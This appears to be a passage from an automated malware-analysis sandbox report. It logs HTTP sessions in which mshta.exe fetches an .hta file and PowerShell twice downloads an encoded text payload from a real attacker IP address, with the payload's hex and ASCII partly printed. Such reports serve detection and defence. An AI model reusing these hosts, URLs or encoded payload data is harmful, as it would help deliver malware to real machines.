                                                                                                                                                                Data Ascii: cGbWzgKapWUU = "KkTkKpnZWlLGknK"hGiNmeuoWixHiGW = "LkpWqCTofqUNkir"uKWbdlhKWoZLLIb = "cGieeUGpsLbkrfQ"SLccWWLLbjA


                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                3192.168.2.2249172172.232.175.166803980C:\Windows\System32\mshta.exe
                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                Nov 28, 2024 11:01:49.848602057 CET465OUTGET /809/ce/createdgoodthingsfor.hta HTTP/1.1
                                                                                                                                                                Accept: */*
                                                                                                                                                                Accept-Language: fr-FR
                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                If-Modified-Since: Thu, 28 Nov 2024 05:45:29 GMT
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                Host: 172.232.175.166
                                                                                                                                                                If-None-Match: "26e08-627f297054196"
                                                                                                                                                                Nov 28, 2024 11:01:51.114191055 CET275INHTTP/1.1 304 Not Modified
                                                                                                                                                                Date: Thu, 28 Nov 2024 10:01:50 GMT
                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                                                                                                                                                Last-Modified: Thu, 28 Nov 2024 05:45:29 GMT
                                                                                                                                                                ETag: "26e08-627f297054196"
                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                Connection: Keep-Alive


                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                4192.168.2.2249175172.232.175.166801484C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                Nov 28, 2024 11:02:13.392672062 CET80OUTGET /809/RGFVVGF.txt HTTP/1.1
                                                                                                                                                                Host: 172.232.175.166
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                Nov 28, 2024 11:02:14.659753084 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                Date: Thu, 28 Nov 2024 10:02:14 GMT
                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                                                                                                                                                Last-Modified: Thu, 28 Nov 2024 05:36:34 GMT
                                                                                                                                                                ETag: "a0800-627f27723fa45"
                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                Content-Length: 657408
                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                Content-Type: text/plain
                                                                                                                                                                Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 44 2b 38 67 4e 50 38 79 44 6e 38 77 48 50 59 78 44 54 38 77 43 50 41 73 44 35 37 51 38 4f 6b 75 44 67 37 41 32 4f 38 73 44 48 36 41 76 4f 4d 72 44 72 36 77 6f 4f 73 70 44 52 36 67 69 4f 51 6f 44 43 36 51 67 4f 41 6b 44 2f 35 67 66 4f 30 6e 44 6f 7a 51 7a 4d 77 49 44 70 79 41 71 4d 45 4b 44 67 79 77 6e 4d 77 4a 44 57 79 67 6b 4d 34 49 44 4b 79 67 52 4d 6f 48 44 32 78 51 64 4d 51 48 44 7a 78 67 63 4d 45 48 44 77 78 77 62 4d 34 47 44 72 78 67 61 4d 6b 47 44 6f 78 77 5a 4d 59 47 44 6c 78 41 [TRUNCATED]
                                                                                                                                                                Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwD+8gNP8yDn8wHPYxDT8wCPAsD57Q8OkuDg7A2O8sDH6AvOMrDr6woOspDR6giOQoDC6QgOAkD/5gfO0nDozQzMwIDpyAqMEKDgywnMwJDWygkM4IDKygRMoHD2xQdMQHDzxgcMEHDwxwbM4GDrxgaMkGDoxwZMYGDlxAZMMGDixgWMkFDYAAAAQCwBAAAAAADHwgAMAAAAAABAGAOAAAwPs/D5/w9PU/D0/g8P0+Dr/g5PQ+Di/A4P89De/Q3Pw9Da/Q2Pc9DS/A0Ps8DJ/wxPU4D8+guPg7D3+AsPg6Dn+AoPg5DQ+AiPA0D49AcPg2Dg9AWPA1DI9AAPgzDw8AKPAyDY8AEPgwDA7A+OAvDo7A4OgtDQ7AyOEsDA6gvOYrDu6gpO4pDW6gjOYkD+5gdO4mDt5gZO4lDX5AVOwkDE4APOQjDs4AJOwhDU4wDO0gDM4gCOggDG4QxN4fD93w8NEfDu3Q5NEeDg3g3NcdDW3A1NwcDL2gvNsbDz2AsN4aDp2wpNYaDl2woNEaDf2gmNgZDX2glNQZDS2AkNsYDJ2AhNIYDB2AQN4XD81geNUXDz1gcNAXDu1AbNsWDk1wYNMVDP1gQNAQD90QONwSDq0wJNMSDW0AFNERDN0AwM4PD7zw9MoODozQ5MEODUzg0M8MDLygvMwLD5yQtMgKDmywoMEKDfygkMAJDNywiMkED8xgeMcHD1xwcMYGDkxQYM0FDQxgTMsEDHwgOMgDAAB
                                                                                                                                                                Nov 28, 2024 11:02:14.659770966 CET1236INData Raw: 67 4a 41 47 41 4e 41 41 41 41 50 77 79 44 6d 38 41 4a 50 4d 79 44 69 38 67 48 50 30 78 44 5a 38 77 45 50 45 78 44 51 38 77 44 50 34 77 44 4e 38 41 44 50 67 77 44 48 38 77 77 4f 30 76 44 37 37 67 2b 4f 6b 76 44 34 37 77 39 4f 59 76 44 79 37 51 38
                                                                                                                                                                Data Ascii: gJAGANAAAAPwyDm8AJPMyDi8gHP0xDZ8wEPExDQ8wDP4wDN8ADPgwDH8wwO0vD77g+OkvD47w9OYvDy7Q8O0uDn7Q5OQuDj7g4OEuDd7A3OgtDS7A0O8sDO7QzOwsDI7wxOMoD96wuOorD56QtOQrDw6wrOsqDl6woOIqDe6AmOYpDV6AlOMpDP6QiOgoDC6AQO8nD+5QfOwnD45wdOMnDt5waOomDm5QZOEmDb5QWOglDX5wUO
                                                                                                                                                                Nov 28, 2024 11:02:14.659781933 CET1236INData Raw: 6e 44 32 35 41 64 4f 49 6e 44 77 35 67 62 4f 77 6d 44 71 35 41 61 4f 59 6d 44 6b 35 67 59 4f 41 6d 44 65 35 41 58 4f 6f 6c 44 59 35 67 56 4f 51 6c 44 53 35 41 55 4f 34 6b 44 4d 35 67 53 4f 67 6b 44 47 35 41 52 4f 49 6b 44 41 34 67 50 4f 77 6a 44
                                                                                                                                                                Data Ascii: nD25AdOInDw5gbOwmDq5AaOYmDk5gYOAmDe5AXOolDY5gVOQlDS5AUO4kDM5gSOgkDG5AROIkDA4gPOwjD6AAQAQDQBwDAAA4D5+wtPU7Dz+QsP86Dt+wqPk6Dn+QpPM6Dh+wnP05Db+QmPc5DV+wkPE5DP+QjPs4DJ+whPU4DD+QQP83D99wePk3D39QdPM3Dx9wbP02Dr9QaPc2Dl9wYPE2Df9QXPs1DZ9wVPU1DT9QUP80DN
                                                                                                                                                                Nov 28, 2024 11:02:14.659801960 CET1236INData Raw: 77 4a 50 59 79 44 6c 38 41 4a 50 4d 79 44 69 38 51 49 50 41 79 44 66 38 67 48 50 30 78 44 63 38 77 47 50 6f 78 44 5a 38 41 47 50 63 78 44 57 38 51 46 50 51 78 44 54 38 67 45 50 45 78 44 51 38 77 44 50 34 77 44 4e 38 41 44 50 73 77 44 4b 38 51 43
                                                                                                                                                                Data Ascii: wJPYyDl8AJPMyDi8QIPAyDf8gHP0xDc8wGPoxDZ8AGPcxDW8QFPQxDT8gEPExDQ8wDP4wDN8ADPswDK8QCPgwDH8gBPUwDE8wAPIwDB8AwO8vD+AAAAgDQBADAAA0Dx9AcP82Du9QbPw2Dr9gaPk2Do9wZPY2Dl9AZPM2Di9AYP81De9QXPw1Db9QWPY1DV9AVPM1DS9QUPA1DP9QTPw0DL9gSPk0DI9wRPY0DE9gAAAAAXAUAs
                                                                                                                                                                Nov 28, 2024 11:02:14.659813881 CET1236INData Raw: 35 44 5a 2b 77 6c 50 55 35 44 54 2b 51 6b 50 38 34 44 4e 2b 77 69 50 6b 34 44 48 2b 51 68 50 4d 34 44 42 39 77 66 50 30 33 44 37 39 51 65 50 63 33 44 31 39 77 63 50 45 33 44 76 39 51 62 50 73 32 44 70 39 77 5a 50 55 32 44 6a 39 51 59 50 38 31 44
                                                                                                                                                                Data Ascii: 5DZ+wlPU5DT+QkP84DN+wiPk4DH+QhPM4DB9wfP03D79QePc3D19wcPE3Dv9QbPs2Dp9wZPU2Dj9QYP81Dd9wWPk1DX9QVPM1DR9wTP00DL9QSPc0DF9wQPEwD/8QPPszD58wNPUzDz8QMP8yDt8wKPkyDn8QJPMyDh8wHP0xDb8QGPcxDV8wEPExDP8QDPswDJ8wBPUwDD8QwO8vD97w+OkvD37Q9OMvDx7w7O0uDr7Q6OcuDl
                                                                                                                                                                Nov 28, 2024 11:02:14.659825087 CET1236INData Raw: 51 50 41 41 45 41 77 41 55 41 63 41 41 41 41 2f 51 78 50 4b 38 44 41 2b 59 76 50 73 37 6a 34 2b 67 74 50 4f 37 44 78 2b 6f 72 50 77 36 6a 70 2b 77 70 50 53 36 44 69 2b 34 6e 50 30 35 6a 61 2b 41 6d 50 57 35 44 54 2b 49 6b 50 34 34 6a 4c 2b 51 69
                                                                                                                                                                Data Ascii: QPAAEAwAUAcAAAA/QxPK8DA+YvPs7j4+gtPO7Dx+orPw6jp+wpPS6Di+4nP05ja+AmPW5DT+IkP44jL+QiPa4DE+YQP83j89gePe3D19ocPA3jt9waPi2Dm94YPE2Dc9YWPc1jU9gUP80TM9cSPd0zE9kAP/zT98sOPhzT18oMPAzjt8wKPiyzh8QGPBxjJ8swOwvj57w9OSvDy747O0ujq7A6OWuDj7I4O4tjb7U2O+sjN78hO
                                                                                                                                                                Nov 28, 2024 11:02:14.659837961 CET1236INData Raw: 53 6a 6c 30 51 49 4e 63 4d 6a 75 7a 45 67 4d 35 4c 7a 36 79 6f 74 4d 4e 4c 6a 77 79 49 6f 4d 74 4a 54 57 79 30 6b 4d 45 45 44 78 78 45 62 4d 50 47 54 61 78 59 45 4d 39 44 44 2b 77 49 50 4d 74 44 6a 53 41 41 41 41 59 43 41 42 67 44 77 50 2f 2f 44
                                                                                                                                                                Data Ascii: Sjl0QINcMjuzEgM5Lz6yotMNLjwyIoMtJTWy0kMEEDxxEbMPGTaxYEM9DD+wIPMtDjSAAAAYCABgDwP//D2/Q6PS4z/+ksPS6TX+QlPG5TM+EQPq3z39scPA3zu9oZPttzW7A0OIoDs6AqOWqTi68nOwpjV68kOIpTQ64QO5nD95MeOZnzu58ZONmze5wGOyfT63I8NXdDM2s4MCPzozUjMaLTex0aMgGDmxsGM1AAAAwHAEANA
                                                                                                                                                                Nov 28, 2024 11:02:14.659929991 CET1236INData Raw: 51 64 4f 47 6e 44 70 35 38 5a 4f 61 6d 6a 68 35 73 58 4f 6d 6c 54 57 35 34 55 4f 66 6b 54 41 34 77 50 4f 33 6a 44 37 34 41 4e 4f 73 69 54 65 34 51 48 4f 76 68 44 5a 34 4d 44 4f 50 67 6a 43 34 55 77 4e 36 66 6a 33 33 63 38 4e 73 65 7a 70 33 49 36
                                                                                                                                                                Data Ascii: QdOGnDp58ZOamjh5sXOmlTW54UOfkTA4wPO3jD74ANOsiTe4QHOvhDZ4MDOPgjC4UwN6fj33c8Nsezp3I6NXeze3s2NKdTR3A0N1czE3EgNjbj32ktNObjs20pNzZjb2kmNeZjQ2gjNdYDG2MhNIUD71cdNzWjr1kaNeWjg14VNxUDL1cSNcUDA0YPNYTz004MNDTzp00JNCSTf0gHNtRTU0cENsQzJ0ICNXMz+zE/MWPT0zw8M
                                                                                                                                                                Nov 28, 2024 11:02:14.659979105 CET1236INData Raw: 55 44 43 7a 63 50 41 41 41 41 52 41 51 41 45 41 41 41 41 34 4d 65 4e 56 57 44 65 31 59 43 4e 41 50 44 71 79 73 75 4d 79 4b 44 6a 79 41 56 4d 7a 42 54 67 77 41 46 41 41 41 41 4a 41 51 41 41 41 38 6a 73 2f 30 32 50 36 34 44 36 2b 73 72 50 4f 32 44
                                                                                                                                                                Data Ascii: UDCzcPAAAARAQAEAAAA4MeNVWDe1YCNAPDqysuMyKDjyAVMzBTgwAFAAAAJAQAAA8js/02P64D6+srPO2D39cCP3vjp781OEoj9447NybTXzk8M5MzEyYvMEEjHAAAA0AwAwDgPz4DF9cfP22Tl9EXPq1TZ8UPP5sja6YrOxqjk5YZO1lTU5oUOFhD23E/NBTTZ0sFAAAAOAMA4AAAA9cfPQxDI7o/OdvzJ7sgOyqDm0k1M2PDp
                                                                                                                                                                Nov 28, 2024 11:02:14.660007000 CET1236INData Raw: 67 4e 4d 53 44 44 78 77 38 4c 4d 35 43 7a 73 77 30 4b 4d 6f 43 6a 6f 77 77 4a 4d 57 43 54 6b 77 73 49 4d 46 43 7a 66 77 6f 48 4d 30 42 6a 62 77 67 47 4d 6a 42 54 58 77 63 46 4d 52 42 44 54 77 59 45 4d 41 42 6a 4f 77 55 44 4d 76 41 54 4b 77 4d 43
                                                                                                                                                                Data Ascii: gNMSDDxw8LM5Czsw0KMoCjowwJMWCTkwsIMFCzfwoHM0BjbwgGMjBTXwcFMRBDTwYEMABjOwUDMvATKwMCMeADGwIBMMAzBwEAAAAA1AMAUAAAA/s/P1/D8/o+Pk/j3/k9PT/Tz/c8PC/Dv/Y7Pw+zq/U6Pf+Tm/Q5PO+Di/I4P99zd/E3Pr9jZ/A2Pa9DV/80PJ9zQ/0zP48jM/wyPm8TI/sxPV8zD/owPE4j/+gvPz7T7+cuP
                                                                                                                                                                Nov 28, 2024 11:02:14.780767918 CET1236INData Raw: 69 6a 66 41 41 41 41 73 41 77 41 67 41 77 50 45 2f 7a 72 2f 6f 35 50 2f 51 6a 68 30 41 45 41 41 41 41 46 41 4d 41 45 41 4d 54 30 7a 51 4d 41 41 41 41 44 41 4d 41 41 41 38 54 39 2f 38 39 50 4a 2f 7a 6d 41 41 41 41 51 41 67 41 77 44 41 41 41 49 7a
                                                                                                                                                                Data Ascii: ijfAAAAsAwAgAwPE/zr/o5P/Qjh0AEAAAAFAMAEAMT0zQMAAAADAMAAA8T9/89PJ/zmAAAAQAgAwDAAAIzAxQfMjHTxxYLAAAAFAIA4AAAA5IUOhkzD5AAOaDAAAQBACAMA1wAN+Tz70UOAAAAEAIAsAwjS84DPgsz+7Q+ODCAAAQBACAKAAAAOdhzU4MxNKYz+2AvNlbj220sN5aTqAAAAgAgAACgP45Dd+AnPs5Da+QmPg5DX


                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                5192.168.2.2249178172.232.175.166802460C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                Nov 28, 2024 11:02:20.374412060 CET80OUTGET /809/RGFVVGF.txt HTTP/1.1
                                                                                                                                                                Host: 172.232.175.166
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                Nov 28, 2024 11:02:21.622826099 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                Date: Thu, 28 Nov 2024 10:02:21 GMT
                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                                                                                                                                                Last-Modified: Thu, 28 Nov 2024 05:36:34 GMT
                                                                                                                                                                ETag: "a0800-627f27723fa45"
                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                Content-Length: 657408
                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                Content-Type: text/plain
                                                                                                                                                                Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 44 2b 38 67 4e 50 38 79 44 6e 38 77 48 50 59 78 44 54 38 77 43 50 41 73 44 35 37 51 38 4f 6b 75 44 67 37 41 32 4f 38 73 44 48 36 41 76 4f 4d 72 44 72 36 77 6f 4f 73 70 44 52 36 67 69 4f 51 6f 44 43 36 51 67 4f 41 6b 44 2f 35 67 66 4f 30 6e 44 6f 7a 51 7a 4d 77 49 44 70 79 41 71 4d 45 4b 44 67 79 77 6e 4d 77 4a 44 57 79 67 6b 4d 34 49 44 4b 79 67 52 4d 6f 48 44 32 78 51 64 4d 51 48 44 7a 78 67 63 4d 45 48 44 77 78 77 62 4d 34 47 44 72 78 67 61 4d 6b 47 44 6f 78 77 5a 4d 59 47 44 6c 78 41 [TRUNCATED]
                                                                                                                                                                Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwD+8gNP8yDn8wHPYxDT8wCPAsD57Q8OkuDg7A2O8sDH6AvOMrDr6woOspDR6giOQoDC6QgOAkD/5gfO0nDozQzMwIDpyAqMEKDgywnMwJDWygkM4IDKygRMoHD2xQdMQHDzxgcMEHDwxwbM4GDrxgaMkGDoxwZMYGDlxAZMMGDixgWMkFDYAAAAQCwBAAAAAADHwgAMAAAAAABAGAOAAAwPs/D5/w9PU/D0/g8P0+Dr/g5PQ+Di/A4P89De/Q3Pw9Da/Q2Pc9DS/A0Ps8DJ/wxPU4D8+guPg7D3+AsPg6Dn+AoPg5DQ+AiPA0D49AcPg2Dg9AWPA1DI9AAPgzDw8AKPAyDY8AEPgwDA7A+OAvDo7A4OgtDQ7AyOEsDA6gvOYrDu6gpO4pDW6gjOYkD+5gdO4mDt5gZO4lDX5AVOwkDE4APOQjDs4AJOwhDU4wDO0gDM4gCOggDG4QxN4fD93w8NEfDu3Q5NEeDg3g3NcdDW3A1NwcDL2gvNsbDz2AsN4aDp2wpNYaDl2woNEaDf2gmNgZDX2glNQZDS2AkNsYDJ2AhNIYDB2AQN4XD81geNUXDz1gcNAXDu1AbNsWDk1wYNMVDP1gQNAQD90QONwSDq0wJNMSDW0AFNERDN0AwM4PD7zw9MoODozQ5MEODUzg0M8MDLygvMwLD5yQtMgKDmywoMEKDfygkMAJDNywiMkED8xgeMcHD1xwcMYGDkxQYM0FDQxgTMsEDHwgOMgDAAB
                                                                                                                                                                Nov 28, 2024 11:02:21.622879982 CET1236INData Raw: 67 4a 41 47 41 4e 41 41 41 41 50 77 79 44 6d 38 41 4a 50 4d 79 44 69 38 67 48 50 30 78 44 5a 38 77 45 50 45 78 44 51 38 77 44 50 34 77 44 4e 38 41 44 50 67 77 44 48 38 77 77 4f 30 76 44 37 37 67 2b 4f 6b 76 44 34 37 77 39 4f 59 76 44 79 37 51 38
                                                                                                                                                                Data Ascii: gJAGANAAAAPwyDm8AJPMyDi8gHP0xDZ8wEPExDQ8wDP4wDN8ADPgwDH8wwO0vD77g+OkvD47w9OYvDy7Q8O0uDn7Q5OQuDj7g4OEuDd7A3OgtDS7A0O8sDO7QzOwsDI7wxOMoD96wuOorD56QtOQrDw6wrOsqDl6woOIqDe6AmOYpDV6AlOMpDP6QiOgoDC6AQO8nD+5QfOwnD45wdOMnDt5waOomDm5QZOEmDb5QWOglDX5wUO
                                                                                                                                                                Nov 28, 2024 11:02:21.622920990 CET1236INData Raw: 6e 44 32 35 41 64 4f 49 6e 44 77 35 67 62 4f 77 6d 44 71 35 41 61 4f 59 6d 44 6b 35 67 59 4f 41 6d 44 65 35 41 58 4f 6f 6c 44 59 35 67 56 4f 51 6c 44 53 35 41 55 4f 34 6b 44 4d 35 67 53 4f 67 6b 44 47 35 41 52 4f 49 6b 44 41 34 67 50 4f 77 6a 44
                                                                                                                                                                Data Ascii: nD25AdOInDw5gbOwmDq5AaOYmDk5gYOAmDe5AXOolDY5gVOQlDS5AUO4kDM5gSOgkDG5AROIkDA4gPOwjD6AAQAQDQBwDAAA4D5+wtPU7Dz+QsP86Dt+wqPk6Dn+QpPM6Dh+wnP05Db+QmPc5DV+wkPE5DP+QjPs4DJ+whPU4DD+QQP83D99wePk3D39QdPM3Dx9wbP02Dr9QaPc2Dl9wYPE2Df9QXPs1DZ9wVPU1DT9QUP80DN
                                                                                                                                                                Nov 28, 2024 11:02:21.622993946 CET1236INData Raw: 77 4a 50 59 79 44 6c 38 41 4a 50 4d 79 44 69 38 51 49 50 41 79 44 66 38 67 48 50 30 78 44 63 38 77 47 50 6f 78 44 5a 38 41 47 50 63 78 44 57 38 51 46 50 51 78 44 54 38 67 45 50 45 78 44 51 38 77 44 50 34 77 44 4e 38 41 44 50 73 77 44 4b 38 51 43
                                                                                                                                                                Data Ascii: wJPYyDl8AJPMyDi8QIPAyDf8gHP0xDc8wGPoxDZ8AGPcxDW8QFPQxDT8gEPExDQ8wDP4wDN8ADPswDK8QCPgwDH8gBPUwDE8wAPIwDB8AwO8vD+AAAAgDQBADAAA0Dx9AcP82Du9QbPw2Dr9gaPk2Do9wZPY2Dl9AZPM2Di9AYP81De9QXPw1Db9QWPY1DV9AVPM1DS9QUPA1DP9QTPw0DL9gSPk0DI9wRPY0DE9gAAAAAXAUAs
                                                                                                                                                                Nov 28, 2024 11:02:21.623012066 CET1236INData Raw: 35 44 5a 2b 77 6c 50 55 35 44 54 2b 51 6b 50 38 34 44 4e 2b 77 69 50 6b 34 44 48 2b 51 68 50 4d 34 44 42 39 77 66 50 30 33 44 37 39 51 65 50 63 33 44 31 39 77 63 50 45 33 44 76 39 51 62 50 73 32 44 70 39 77 5a 50 55 32 44 6a 39 51 59 50 38 31 44
                                                                                                                                                                Data Ascii: 5DZ+wlPU5DT+QkP84DN+wiPk4DH+QhPM4DB9wfP03D79QePc3D19wcPE3Dv9QbPs2Dp9wZPU2Dj9QYP81Dd9wWPk1DX9QVPM1DR9wTP00DL9QSPc0DF9wQPEwD/8QPPszD58wNPUzDz8QMP8yDt8wKPkyDn8QJPMyDh8wHP0xDb8QGPcxDV8wEPExDP8QDPswDJ8wBPUwDD8QwO8vD97w+OkvD37Q9OMvDx7w7O0uDr7Q6OcuDl
                                                                                                                                                                Nov 28, 2024 11:02:21.623174906 CET1236INData Raw: 51 50 41 41 45 41 77 41 55 41 63 41 41 41 41 2f 51 78 50 4b 38 44 41 2b 59 76 50 73 37 6a 34 2b 67 74 50 4f 37 44 78 2b 6f 72 50 77 36 6a 70 2b 77 70 50 53 36 44 69 2b 34 6e 50 30 35 6a 61 2b 41 6d 50 57 35 44 54 2b 49 6b 50 34 34 6a 4c 2b 51 69
                                                                                                                                                                Data Ascii: QPAAEAwAUAcAAAA/QxPK8DA+YvPs7j4+gtPO7Dx+orPw6jp+wpPS6Di+4nP05ja+AmPW5DT+IkP44jL+QiPa4DE+YQP83j89gePe3D19ocPA3jt9waPi2Dm94YPE2Dc9YWPc1jU9gUP80TM9cSPd0zE9kAP/zT98sOPhzT18oMPAzjt8wKPiyzh8QGPBxjJ8swOwvj57w9OSvDy747O0ujq7A6OWuDj7I4O4tjb7U2O+sjN78hO
                                                                                                                                                                Nov 28, 2024 11:02:21.623188019 CET1236INData Raw: 53 6a 6c 30 51 49 4e 63 4d 6a 75 7a 45 67 4d 35 4c 7a 36 79 6f 74 4d 4e 4c 6a 77 79 49 6f 4d 74 4a 54 57 79 30 6b 4d 45 45 44 78 78 45 62 4d 50 47 54 61 78 59 45 4d 39 44 44 2b 77 49 50 4d 74 44 6a 53 41 41 41 41 59 43 41 42 67 44 77 50 2f 2f 44
                                                                                                                                                                Data Ascii: Sjl0QINcMjuzEgM5Lz6yotMNLjwyIoMtJTWy0kMEEDxxEbMPGTaxYEM9DD+wIPMtDjSAAAAYCABgDwP//D2/Q6PS4z/+ksPS6TX+QlPG5TM+EQPq3z39scPA3zu9oZPttzW7A0OIoDs6AqOWqTi68nOwpjV68kOIpTQ64QO5nD95MeOZnzu58ZONmze5wGOyfT63I8NXdDM2s4MCPzozUjMaLTex0aMgGDmxsGM1AAAAwHAEANA
                                                                                                                                                                Nov 28, 2024 11:02:21.623198032 CET1236INData Raw: 51 64 4f 47 6e 44 70 35 38 5a 4f 61 6d 6a 68 35 73 58 4f 6d 6c 54 57 35 34 55 4f 66 6b 54 41 34 77 50 4f 33 6a 44 37 34 41 4e 4f 73 69 54 65 34 51 48 4f 76 68 44 5a 34 4d 44 4f 50 67 6a 43 34 55 77 4e 36 66 6a 33 33 63 38 4e 73 65 7a 70 33 49 36
                                                                                                                                                                Data Ascii: QdOGnDp58ZOamjh5sXOmlTW54UOfkTA4wPO3jD74ANOsiTe4QHOvhDZ4MDOPgjC4UwN6fj33c8Nsezp3I6NXeze3s2NKdTR3A0N1czE3EgNjbj32ktNObjs20pNzZjb2kmNeZjQ2gjNdYDG2MhNIUD71cdNzWjr1kaNeWjg14VNxUDL1cSNcUDA0YPNYTz004MNDTzp00JNCSTf0gHNtRTU0cENsQzJ0ICNXMz+zE/MWPT0zw8M
                                                                                                                                                                Nov 28, 2024 11:02:21.623209000 CET1236INData Raw: 55 44 43 7a 63 50 41 41 41 41 52 41 51 41 45 41 41 41 41 34 4d 65 4e 56 57 44 65 31 59 43 4e 41 50 44 71 79 73 75 4d 79 4b 44 6a 79 41 56 4d 7a 42 54 67 77 41 46 41 41 41 41 4a 41 51 41 41 41 38 6a 73 2f 30 32 50 36 34 44 36 2b 73 72 50 4f 32 44
                                                                                                                                                                Data Ascii: UDCzcPAAAARAQAEAAAA4MeNVWDe1YCNAPDqysuMyKDjyAVMzBTgwAFAAAAJAQAAA8js/02P64D6+srPO2D39cCP3vjp781OEoj9447NybTXzk8M5MzEyYvMEEjHAAAA0AwAwDgPz4DF9cfP22Tl9EXPq1TZ8UPP5sja6YrOxqjk5YZO1lTU5oUOFhD23E/NBTTZ0sFAAAAOAMA4AAAA9cfPQxDI7o/OdvzJ7sgOyqDm0k1M2PDp
                                                                                                                                                                Nov 28, 2024 11:02:21.623347044 CET1236INData Raw: 67 4e 4d 53 44 44 78 77 38 4c 4d 35 43 7a 73 77 30 4b 4d 6f 43 6a 6f 77 77 4a 4d 57 43 54 6b 77 73 49 4d 46 43 7a 66 77 6f 48 4d 30 42 6a 62 77 67 47 4d 6a 42 54 58 77 63 46 4d 52 42 44 54 77 59 45 4d 41 42 6a 4f 77 55 44 4d 76 41 54 4b 77 4d 43
                                                                                                                                                                Data Ascii: gNMSDDxw8LM5Czsw0KMoCjowwJMWCTkwsIMFCzfwoHM0BjbwgGMjBTXwcFMRBDTwYEMABjOwUDMvATKwMCMeADGwIBMMAzBwEAAAAA1AMAUAAAA/s/P1/D8/o+Pk/j3/k9PT/Tz/c8PC/Dv/Y7Pw+zq/U6Pf+Tm/Q5PO+Di/I4P99zd/E3Pr9jZ/A2Pa9DV/80PJ9zQ/0zP48jM/wyPm8TI/sxPV8zD/owPE4j/+gvPz7T7+cuP
                                                                                                                                                                Nov 28, 2024 11:02:21.743158102 CET1236INData Raw: 69 6a 66 41 41 41 41 73 41 77 41 67 41 77 50 45 2f 7a 72 2f 6f 35 50 2f 51 6a 68 30 41 45 41 41 41 41 46 41 4d 41 45 41 4d 54 30 7a 51 4d 41 41 41 41 44 41 4d 41 41 41 38 54 39 2f 38 39 50 4a 2f 7a 6d 41 41 41 41 51 41 67 41 77 44 41 41 41 49 7a
                                                                                                                                                                Data Ascii: ijfAAAAsAwAgAwPE/zr/o5P/Qjh0AEAAAAFAMAEAMT0zQMAAAADAMAAA8T9/89PJ/zmAAAAQAgAwDAAAIzAxQfMjHTxxYLAAAAFAIA4AAAA5IUOhkzD5AAOaDAAAQBACAMA1wAN+Tz70UOAAAAEAIAsAwjS84DPgsz+7Q+ODCAAAQBACAKAAAAOdhzU4MxNKYz+2AvNlbj220sN5aTqAAAAgAgAACgP45Dd+AnPs5Da+QmPg5DX


                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
